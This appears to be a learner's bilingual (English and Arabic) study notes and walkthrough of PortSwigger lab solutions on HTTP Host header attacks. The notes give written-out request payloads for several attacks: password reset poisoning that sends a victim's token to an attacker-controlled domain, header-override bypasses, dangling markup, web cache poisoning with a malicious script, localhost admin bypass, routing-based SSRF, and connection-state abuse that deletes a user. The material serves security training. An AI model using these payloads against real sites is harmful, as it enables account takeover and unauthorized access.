HTTP Host Header Attacks

What is HTTP Host Header ?!

assume that you have one server and one ip and you want to put in this server many web applications (example.com, domain.net, ..etc) then you want to get index.html or index.php ....etc from application named Example.com

Request :

> GET /web-security HTTP/1.1
> Host: example.net

if we put arbitary value in the HOST header and send to the web server (ip) and it's seems that value not obvious to him it will open or redirect it or the response with his first virtual name on that web server

conf file of apache in linux : /etc/apache2/apache2.conf

conf file that you will find the host headers name : /etc/apache2/sites-enabled/000+TAP —>> and that is the default

How Multiple applications could share the same IP address ?

there is two ways of doing that :

virtual Hosting

distinct websites will have a different domain name, they all share a common IP address with the server. Websites hosted in this way on a single server are known as "virtual hosts".

Routing Traffic via intermediary

websites are hosted on distinct back-end servers, but all traffic between the client and servers is routed through an intermediary system. This could be a simple load balancer or a reverse proxy server of some kind. This setup is especially prevalent in cases where clients access the website via a content delivery network (CDN).

In this case, even though the websites are hosted on separate back-end servers, all of their domain names resolve to a single IP address of the intermediary component. This presents some of the same challenges as virtual hosting because the reverse proxy or load balancer needs to know the appropriate back-end to which it should route each request.

What is an HTTP Host header attack or what the impact from these attacks ?

The header value may also be used in a variety of interactions between different systems of the website's infrastructure.

As the Host header is in fact user controllable, this practice can lead to a number of issues. If the input is not properly escaped or validated, the Host header is a potential vector for exploiting a range of other vulnerabilities, most notably:

- Web cache poisoning
- Business logic flaws in specific functionality
- Routing-based SSRF
- Classic server-side vulnerabilities, such as SQL injection

Exploiting HTTP Host header vulnerabilities

the first technique we could use in this Type of vulnerability is to supply arbitrary Host header using intercepting proxy

> tip: Some intercepting proxies derive the target IP address from the Host header directly, which makes this kind of testing all but impossible; any changes you made to the header would just cause the request to be sent to a completely different IP address. However, Burp Suite accurately maintains the separation between the Host header and the target IP address. This separation allows you to supply any arbitrary or malformed Host header that you want, while still making sure that the request is sent to the intended target

when you inject the host header with an arbitrary value or domain not know and the server accept it then redirect u to your target domain that indicates that we are lucky so we can study the domain and look for any vulnerability could be found

while it could redirect u to the local host it depends on how the server is configured

in other cases when u inject arbitrary value it could response to u with Invalid Host Header this mean that the target domain accessed via CDN (Content Delivery Network) so we could other bypass techniques outlined below

we could use technique like this :

```
GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here
```

some web site applications have robust validation on the domain name and don't validate the port number if we have the ability to inject non-numeric port number so we could inject the payload via the port

```
GET /example HTTP/1.1
Host: notvulnerable-website.com
```

Other sites will try to apply matching logic to allow for arbitrary subdomains. In this case, you may be able to bypass the validation entirely by registering an arbitrary domain name that ends with the same sequence of characters as a whitelisted one

or we could use some bypassing techniques listed in SSRF vulnerability if the the application white list some domain names we could something like @ , # character (recommended to search for it)

Inject duplicate Host headers

```
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
```

we could duplicate the host header and the response from the server will be differ from the system to a system but it is common for one of the two headers to be given precedence over the other one, effectively overriding its value

Let's say the front-end gives precedence to the first instance of the header, but the back-end prefers the final instance. Given this scenario, you could use the first header to ensure that your request is routed to the intended target and use the second header to pass your payload into the server-side code.

Supply an absolute URL

```
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
```

Add line wrapping

```
GET /example HTTP/1.1
                Host: bad-stuff-here
Host: vulnerable-website.com
```

or using other techniques

we could use some header that is change the host header value like :

- `X-Host`
- `X-Forwarded-Server`
- `X-HTTP-Host-Override`
- `Forwarded`
- X-Forwarded-Host

there is many useful headers that we could use to change the host header value or to change the ip we could found on this link

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/special-http-headers

> lastly all that techniques mentioned above we could use to bypass host header validation if u want to know the detail

> about every techniques , visit portswitgger.net you will find it in the HTTP Host Header attacks topics

Exploiting classic server-side vulnerabilities

Every HTTP header is a potential vector for exploiting classic server-side vulnerabilities, and the Host header is no exception. For example, you should try the usual SQLi probing techniques via the Host header. If the value of the header is passed into a SQL statement, this could be exploitable.

solving the labs of portswigger and trying to explain it

password reset poisoning

lab1 : ف كل الابات اللي موجود هي الفكره كلها بتبقي فلنرابل ف حته الفورجت باسورد بس كل لاب من التلاته ليه طريقه حل مختلفه

اولا الفكره اصلا انك ان انت لما بتعمل فورجت باسورد وتبعت تحط الايميل او اليوزر بتاعك بيجيلك ميل بالهوست هايدر اللي كان موجود ف الريكوست مع التوكن وانت بتدوس ع اللينك ده ويدخلك تخش تغير الباسورد

احنا كل اللي يهمنا ان احنا ازاي نجيب التوكن اللي هو جاي من السيرفر اصلا ف حاله تغير اليوزر للباسورد بتاعه لانه كمان بيتبعتله ع الميل بتاعه هو ويارب تكون وصلت

طيب اول حاجه اللينك اللي جيه ده موجود ف قلبه الهوست هايدر فالو اللي كانت موجوده ف الريكوست

Request :

```
POST /forgot-password HTTP/2
Host: Vulnerable-site.net
```

ف اول لاب هو مش عامل اي فاليداشن ف انت ممكن تروح تغير الهوست هايدر فاليو علاطول وهيبقلها عادي الفكره هنا ان احنا نحط دومين تابع لينا احنا وبنقدر نخش ع اللوجز بتاعته عشان نشوف مين اللي اكسس للدومين بتاعنا وده ممكن يتم عن طريق انك تستخدم البرب كولبورتور ف البرب سويت برو او انك تعمل كونفرجير لسيرفر اباتشي من علي لينكس عادي والكلام ده ف الواقع لكن هو هنا ف الابات مدينا السيرفر جاهز واحنا نشتغل عليه

طيب احنا لما نغير ف الهوست فاليو دي ونحط دومين او سيرفر احنا متحكمين ف لما يجي اللينك يتبعت لاي يوزر احنا نكتبه يعني مثلا بدل ما نكتب الايميل بتاعنا لا نكتب ايميل

الضحيه من الاخر الريكوست يبقي بالشكل ده

```
POST /forgot-password HTTP/2
Host: domain_we_control
...
...
...
..
username=Victim&email=Victim@victim.com
```

then the link we arrive to the victim like this https://domain_we_control/?token=the_token_of_changepassword

if the user clicks that link the log of that action will appear in the access logs of the server and with that click will compromise the token of changing password so we take that token and go to the page which change the password and put that token which belongs to victim

tip: this token is used only one time or could have period of time like and then expired

---

lab2 : is the same idea of lab1 the only difference that the server validate the host header value but we mentioned techniques we can use above i append the X-Host value and it worked you can also duplicate the host header or use another headers the important thing is to inject the host to point the server we control

```
POST /forgot-password HTTP/2
Host: Vulnerable-site
X-Host: domain_we_control
...
...
...
..
username=Victim&email=Victim@victim.com
```

---

lab3 : lab3 is bit different because here is sending the password directly to the user's mail but it's also still get the host header value in <a> tag so we will use dangling markup but before dive in that we have to explain how the technique of adding non-numeric port number works or how the server handle that

ChatGPT answer :

1. **Normal Functionality**: In a typical HTTP request, the Host header specifies the domain name (or IP address) of the web server to which the client is sending the request. It helps the server identify the correct virtual host or website to handle the request, especially in scenarios where multiple websites are hosted on the same server.
2. **Injection of Malicious Host Header**: An attacker can manipulate the Host header by injecting additional data, such as a crafted domain name with a non-numeric port number. For example:

   ```
   makefileCopy code
   Host: example.com:evilport
   ```
3. **Server Behavior**: If the web server accepts non-numeric port numbers in the Host header without proper validation or sanitization, it may interpret the injected port number as part of the domain name. As a result, the server could potentially redirect the request to a different destination or serve content from an unintended source.
4. **Exploitation**: Depending on the specific vulnerabilities and misconfigurations present in the web application or server, the attacker can exploit the manipulated Host header to perform various malicious actions, including:
   - Redirecting users to phishing sites or malicious domains.
   - Bypassing access controls and authentication mechanisms.
   - Exploiting server-side request forgery (SSRF) vulnerabilities to access internal resources or perform reconnaissance on internal networks.
   - Abusing insecure API endpoints or functionality exposed by the server.
5. **Impact**: Host header attacks can have severe consequences, including data breaches, unauthorized access to sensitive information, manipulation of user sessions, and compromise of the entire web application or server.

in **lab3** of portswigger lab the server behave like the yellow paragraph so we have to break the string

this the normal link arrived with password when click the link it will redirect us to the login page to login with the new password sent

```
<a href='https://0ae9005503942a7084c11d0200d60098.web-securit
click here</a>
```

the payload we will '<a href="//domain_we_control/?

the request in the end will be like

```
POST /forgot-password HTTP/2
Host: vulnerable_site.net:'<a href="//domain_we_control/?
...
...
...
..
.
username=Victim&email=Victim@victim.com
```

Web cache poisoning via the Host header

lab4:

web cache poisoning is another vulnerability and we will explain it letter the but all we need to know that web cache poisoning mean that we could cache request with malicious payload we send to the web server to be cached in the server and any one will ask for that page the malicious code will fire (we send this malicious page we cached in the web server to our victim)

1- request will be like normal request as shown below :

```
GET / HTTP/1.1
Host: Vulnerable-site.com
```

to observe that we could cache the request we send or not we will notice that in the server response headers

```
X-Cache: hit
Cache-Control: max-age=30
...
...
....
....
..
..
<body>
<script type="text/javascript" src="//Vulnerable-site.com/res
</script>
</body>
```

2-then the second thing we will notice in this lab that the Host header value is reflected to in server response with javascript loads an image or icon from the server

3-so we could add our exploit server link with the file path —>> (the file) create javascript file with the same name and path founded in the response and that javascript file we put any javascript payload we want

4-if you are blocked you could use of any techniques we mentioned above like double Host Header or Using the useful header (X-Forwarded-For,,etc..)

```
GET / HTTP/1.1
Host: Vulnerable-site.com
Host: server_we_control.com
```

5-send that request multiple times until the server response to you with hit value of X-Cache:hit

back to you home / which you cached the malicious payload on it by using the host header which is reflected in the server response

Broken Access Control via Host Header attacks

some web application could make robust validation to not access the /admin for example but if you just think to change the Host header of the request to be localhost or 127.0.0.1 it could bypass us to the /admin panel

lab5 is about this point

Routing-based SSRF

relies on exploiting the intermediary components that are prevalent in many cloud-based architectures. This includes in-house load balancers and reverse proxies.

fundamentally, these systems receive requests and forward them to the appropriate back-end. If they are insecurely configured to forward requests based on an unvalidated Host header, they can be manipulated into misrouting requests to an arbitrary system of the attacker's choice.

how we know if this specific vulnerability arise ?

You can use Burp Collaborator to help identify these vulnerabilities. If you supply the domain of your Collaborator server in the Host header, and subsequently receive a DNS lookup from the target server or another in-path system, this indicates that you may be able to route requests to arbitrary domains

then every thing well and as we explained the second step is to have private IP .

a lot of web application have CIDR of (192.168.0.0/16, 10.0.0.0/8)

lab6:

1- observe that when we change the host header value it response with 504 bad gateway

2- open burp collaborator client and copy the host and put it in the host header then send the request if the collaborator DNS lookup that means that we could high the vulnerability to SSRF

3- send the request to intruder then replace the burp collaborator link with private ip’s (in real world scenario we could get that private ip’s in the recon phase when we trying to knows the CDN the application is hosted on it)

4- if we have status code of 200 or 301,302 that seems good because it indicated there is page or site on that IP

lab7:

lab7 the same solution of the lab6 the only trick we said it above we could put the all URL in the first line of the Request like

```
GET https://vulnerable-site HTTP/1.1.0/
Host: bad-Stuff
```

connection state attacks

the idea here is when the web application is using version of HTTP 1.1 it keep the connection alive by default so

many websites reuse connections for multiple request/response cycles with the same client.

Poorly implemented HTTP servers sometimes work on the dangerous assumption that certain properties, such as the Host header, are identical for all HTTP/1.1 requests sent over the same connection. This may be true of requests sent by a browser, but isn't necessarily the case for a sequence of requests sent from Burp Repeater. This can lead to a number of potential issues.

For example, you may occasionally encounter servers that only perform thorough validation on the first request they receive over a new connection. In this case, you can potentially bypass this validation by sending an innocent-looking initial request then following up with your malicious one down the same connection

lab8

1. Send the `GET /` request to Burp Repeater.
2. Make the following adjustments:
    - Change the path to `/admin`.
    - Change `Host` header to `192.168.0.1`.
3. Send the request. Observe that you are simply redirected to the homepage.
4. Duplicate the tab, then add both tabs to a new group.
5. Select the first tab and make the following adjustments:

    - Change the path back to `/`.
    - Change the `Host` header back to `YOUR-LAB-ID.h1-web-security-academy.net`.
6. Using the drop-down menu next to the **Send** button, change the send mode to **Send group in sequence (single connection)**.
7. Change the `Connection` header to `keep-alive`.
8. Send the sequence and check the responses. Observe that the second request has successfully accessed the admin panel.
9. Study the response and observe that the admin panel contains an HTML form for deleting a given user. Make a note of the following details:
    - The action attribute (`/admin/delete`)
    - The name of the input (`username`)
    - The `csrf` token.
10. On the second tab in your group, use these details to replicate the request that would be issued when submitting the form. The result should look something like this:
```
POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT
csrf=YOUR-CSRF-TOKEN&username=carlos
```
11. Send the requests in sequence down a single connection to solve the lab.

SSRF via a malformed request line

Custom proxies sometimes fail to validate the request line properly, which can allow you to supply unusual, malformed input with unfortunate results.

For example, a reverse proxy might take the path from the request line, prefix it with `http://backend-server`, and route the request to that upstream URL. This works fine if the path starts with a `/` character, but what if starts with an `@` character instead?

```
GET @private-intranet/example HTTP/1.1
```

The resulting upstream URL will be `http://backend-server@private-intranet/example`, which most HTTP libraries interpret as a request to access `private-intranet` with the username `backend-server`